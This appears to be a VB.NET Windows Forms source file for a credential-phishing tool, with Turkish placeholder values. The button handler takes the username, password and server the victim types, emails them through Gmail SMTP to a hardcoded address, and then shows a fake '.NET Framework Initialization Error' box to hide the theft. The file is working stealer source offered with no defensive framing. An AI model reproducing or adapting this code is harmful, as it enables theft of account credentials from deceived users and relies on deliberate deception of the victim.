lol

Imports System
Imports System.Net
Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        mail.From = New MailAddress("gmailadres", "Ben", System.Text.Encoding.UTF8)
        mail.To.Add("gmailadres")
        mail.Subject = "uygulama ismi"
        mail.SubjectEncoding = System.Text.Encoding.UTF8
        mail.Body = "Username:" + TextBox1.Text + " Password:" + TextBox2.Text + " Server:" + ComboBox1.SelectedItem
        mail.BodyEncoding = System.Text.Encoding.UTF8
        Dim guvenlik As New NetworkCredential("gmailadres", "sifre")
        Dim smtp As New SmtpClient
        smtp.Credentials = guvenlik
        smtp.EnableSsl = True
        smtp.Host = "smtp.gmail.com"
        smtp.Port = 587
        smtp.Send(mail)
        MsgBox(".NET Framework Error 0x800F0906", vbCritical, ".NET Framework Initialization Error")
        Form2.Show()
    End Sub

    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Application.Exit()
    End Sub
End Class